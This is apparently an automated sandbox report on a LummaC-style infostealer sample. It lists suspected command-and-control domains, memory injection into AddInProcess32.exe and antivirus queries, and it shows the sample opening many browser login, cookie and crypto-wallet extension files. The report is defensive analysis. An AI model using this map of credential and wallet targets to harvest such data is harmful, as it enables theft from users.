Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tirepublicerj.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: framekgirus.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: wholersorie.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: abruptyopsn.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: nearycrepso.shop
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: fancywaxxers.shop
Source: AddInProcess32.exe, 00000003.00000002.2910748475.0000000003503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aliveindu.click

Writes to foreign memory regions

Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 472000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: F0E008	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 442000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 445000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 453000	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: DDE008	Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00438040 cpuid

6_2_00438040

Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Users\user\Desktop\random.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: AddInProcess32.exe, 00000006.00000002.2925689174.00000000036CB000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000007.00000002.3011098104.00000000012FC000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: AddInProcess32.exe, 00000006.00000002.2923240627.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: AddInProcess32.exe, 00000006.00000002.2923240627.0000000001039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 6jaXXZf
Source: AddInProcess32.exe, 00000006.00000002.2923240627.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: AddInProcess32.exe, 00000006.00000002.2924472845.000000000109B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3L
Source: AddInProcess32.exe, 00000006.00000002.2923240627.0000000001057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: AddInProcess32.exe, 00000007.00000002.3011704682.0000000001353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
